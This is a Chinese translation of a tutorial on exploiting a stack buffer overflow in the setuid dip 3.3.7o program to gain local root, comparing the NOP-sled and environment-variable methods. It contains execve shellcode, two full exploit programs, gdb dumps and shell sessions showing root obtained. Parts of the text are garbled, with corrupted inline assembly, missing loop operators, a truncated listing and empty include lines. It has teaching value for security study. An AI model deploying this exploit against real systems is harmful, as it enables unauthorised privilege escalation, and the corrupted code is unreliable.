来自Aleph1的文章：
“可见这不是一个有效的过程。甚至在知道堆栈开始的位置时，试图猜测偏移地址几乎是不可能的。好的情况下我会需要上百次尝试，坏的情况下会要上千次。问题是我们需要*准确*的猜测出我们代码将开始的地址位置。如果我们偏了大概一个字节，我们将得到一个段侵犯或者无效指令。一个提高我们机会的方法是在我们溢出缓冲区开头填NOP指令。几乎所有的处理器都有NOP指令执行一个空操作。它经常被用来为了时间目的延迟执行。我们将利用它，并且用它们填充我们一半的溢出缓冲区。我们将在中间放置我们的shellcode，接着在它后面跟着返回地址。如果我们走运，而返回地址指向NOP字符串的任何位置，它们将被执行直到它们遇到我们的代码。在Intel构架中，NOP指令是1个字节长在机器码中它转换成0x90。假设堆栈从地址0xFF开始，S表示shell代码，N表示一个NOP指令，新的堆栈可能看起来象这样：
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
这里，我们*猜测*地址。通过下面的子程序我们得到了当前存储在ESP寄存器中的地址：
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
有了上面这个函数的帮助，我们可以有一个内存中堆栈指针可能在哪儿的*想法*。接着，我们从这个SP的地址中减去偏移量。如果我们足够幸运的话，我们可以猜到缓冲区中一个NOP的地址。(然而，注意到getesp()不返回漏洞程序的ESP。它是我们漏洞利用程序的ESP。它仅仅考虑了一个范围。)
为了阐明这两个方法的不同之处，让我们写两个漏洞利用程序，应用一下目前为止我们所学的。
漏洞利用程序
现在我们知道了，什么是缓冲区溢出，知道如何利用缓冲区溢出覆盖返回地址，知道我们怎样能修改一个函数的返回地址，不必多说了。让我们编写漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中，有一个缓冲区溢出漏洞。在一些Linux发布版本中这个程序是默认setuid。
这个-l选项是有问题的。dip代码没有小心处理这个作为由用户传给程序的一个参数的值，没有边界检测，它仅仅stpcpy()作为参数的任何内容给一些本地缓冲区，这些缓冲区只能存有限的数据；因此增加了一个缓冲区溢出的风险。
漏洞代码如：
l = stpcpy(l, argv[i]);
如果你看stpcpy的手册页($man 3 stpcpy)；stpcpy,不考虑它所处理的缓冲区的边界，它把整个数组拷贝给另外一个。这里我们需要做的是：
1．在Aleph的方法中，用一些NULL操作(NOP)填到至少一半的缓冲区，接着放置你的shellcode和猜测一个NOP或者shellcode本身的地址。2.在我们的方法中，由于我们准确的知道我们shellcode在内存中的位置，我们仅仅拷贝这个地址到整个数组。
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Segmentation fault
[murat@victim murat]$
从上面可以看到，当我们写29个ABCD(29 * 4 = 116字节)什么都没有发生，然而当我们写30个ABCD(30 * 4 = 120 bytes)的时候，程序出现了段侵犯。它没有core dump，因为程序是setuid root权限的。让我们成为root，看看当我们给-l选项提供一个120字节的字符串时会发生什么：
[murat@victim murat]$ su
[root@victim murat]# gdb -q /usr/sbin/dip
(no debugging symbols found)...
(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x444342 in ?? ()
(gdb)
(gdb) i r
eax 0xb4 180
ecx 0xb4 180
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x41444342 0x41444342
esi 0x4 4
edi 0x805419e 134562206
eip 0x444342 0x444342
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb)
从这里可以看出，堆栈指针(ESP)和这个被保护的返回地址被我们的字符串”ABCD”覆盖了。在Ascii中：
A is 0x41, B is 0x42, C is 0x43, D is 0x44
注意到基本指针寄存器，它是：
ebp 0x41444342 0x41444342
这里的值是ADCB。这也意味着我们不能排列这个字符串。我们需要把字符串左移一个字节，这样ABCD适合一个4字节内存单元。这样的话：
(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax 0xb5 181
ecx 0xb5 181
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x44434241 0x44434241
esi 0x4 4
edi 0x805419e 134562206
eip 0x44434241 0x44434241
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb)
可以看到，我们多加了一个A到我们的缓冲区开头，这样现在EIP和EBP寄存器都是：0x44434241，即我们可以校正我们的字符串了。
我将写两个漏洞利用程序。每一个将用一个不同的方法。第一个将是”经典技术”而另外一个将是环境变量技术。你比较这两个时，你将很容易地看出之间的不同，并且明白没有必要去尝试猜测奇怪的偏移。请注意，环境变量方法只有当是本地漏洞的时候才有用。
这里是用经典方法的：
xdip2.c :
#include
#include
#include
#include
#define BUF 130
#define NOP 0x90
#define ALIGN 1
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
if (argc
让我详细说明这个漏洞利用程序：
我们定义我们的缓冲区为130个字节长，因为一个121字节的数组对于我们来说是足够了，定义NULL操作指令的运算码为0x90，Alignment为1。
记得我们之前为了找到校正所作的吗？
#define BUF 130
#define NOP 0x90
#define ALIGN 1
你已经知道下面是我们的shell生成码：
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
这个子程序返回堆栈指针的值。如我以前告诉你们的，这不是漏洞程序的ESP。它是我们漏洞利用程序的ESP，而我们利用这个值仅仅来知道内存中漏洞程序堆栈指针可能的位置。它仅仅是考虑到一个范围：
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我们的main()：arg[5]是为了execve()，buf[]是我们将供给漏洞缓冲区的。*ap(代表地址指针)是和buf[]的地址联系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
如果这个”漏洞利用者”输入一些值作为一个偏移量，我们从提示的esp中减去这个值，如果没有，我们使用0xbfffd779做为shellcode的地址。我在用gdb调试dip的时候发现了这个地址。它是一个预先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]);
我们让地址指针指向buf ALIGMENT的地址：
ap = (int *)(buf ALIGNMENT);
我们校正我们的缓冲区后，我们先放置返回地址到整个缓冲区：
for (i = 0 ; i < BUF; i = 4)
*ap = ret;
我们将一些NULL操作指令填到缓冲区的前半部：
for (i = 0; i < BUF / 2; i )
buf[i] = NOP;
在NOP后面，我们放置我们的shellcode：
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我们为execve()准备参数，如果你不明白这个去读execve的手册页：
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = NULL;
让我们执行：
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open /var/lock/LCK..
bash#
如果我们不知道确切的地址，我们需要猜测偏移量。让我们假设我们不知道这个地址：
让我们首先试以－400作为偏移量：
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
ûÿ: No such file or directory
Segmentation fault
[murat@victim murat]$
啊，让我们试－350：
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
ûÿ: No such file or directory
Illegal Instruction
[murat@victim murat]$
让我们进行另一个猜测：
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
ûÿ: No such file or directory
bash#
然而，如你所见，猜测正确偏移量是非常乏味的。
现在是环境变量方法：
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE 221
#define ALIGNMENT 1
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
让我来详细说明这个漏洞利用程序：
我们的main()。我们有一个字母指针数组。因为我们能计算环境指针的地址，我们把shellcode放到第一个环境变量的位置。
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE];
int i;
Address pointer points to the aligned address of buffer:
int *ap = (int *)(buf ALIGNMENT);
我们计算我们shellcode的地址。关于我们如何计算地址的细节见上面：
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
从缓冲区的第一个对齐的地址开始，我们放置shellcode的计算地址。我们以四为步长增加i，因为当我们以1为步长增加一个指针的时候，意味
着我们每次对其增加了4个字节。
for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
接着我们execle()漏洞程序：
execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
因为不需要尝试和猜测，第一次我们就得到root!
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..hÕÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ:
No such file or directory
bash#
因此，两个方法之间的基本不同之处能被列成：
项目 Aleph1的方法 环境变量方法
-------------------- --------------------- ------------------------
漏洞缓冲区 一半缓冲区被NOP填充， 全部缓冲区用地址填充
接着是shellcode,然后
是地址
sc的放置 我们放置sc在漏洞缓冲 我们放置sc在传递给execve
区里 ()的环境指针里
sc的地址 我们试着猜测sc的地址 我们*知道*sc的地址
小缓冲区 如果sc在缓冲区中不 因为我们已经不把sc放在缓
合适，就很难利用漏洞 冲区，这个就无关紧要了。仅
如果你选择把sc放到 仅4个字节就够了!
环境指针里你将必
须猜测环境指针的
地址
Diffic. Level somewhat harder easier!
最后的文字和致谢
这篇文章原来实际上使用土耳其语写的。由于翻译成英语或者其它语言有很多要求，而且实际上环境变量方法仍然缺少文档，而我认为用英文准备一篇这样的文章是一个很好的主意，还有介绍一个更加易懂的shellcode等等，我就写了这篇文章。这里可能有一些模糊的地方或者甚至是一些需要改正的错误信息。如果你碰巧遇到额，给我email，我将改正它。先行致谢。
- Murat Balaban
致谢：a, matsuri, gargoyle
参考书目：
----------
0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/)
1. "Smashing the Stack for Fun and Profit" by Aleph1
2．我在许多地方看到过这里我讨论的shellcode。我真的不知道谁第一个写的它所以如果你知道，请告诉我，这样我能在这里加上。
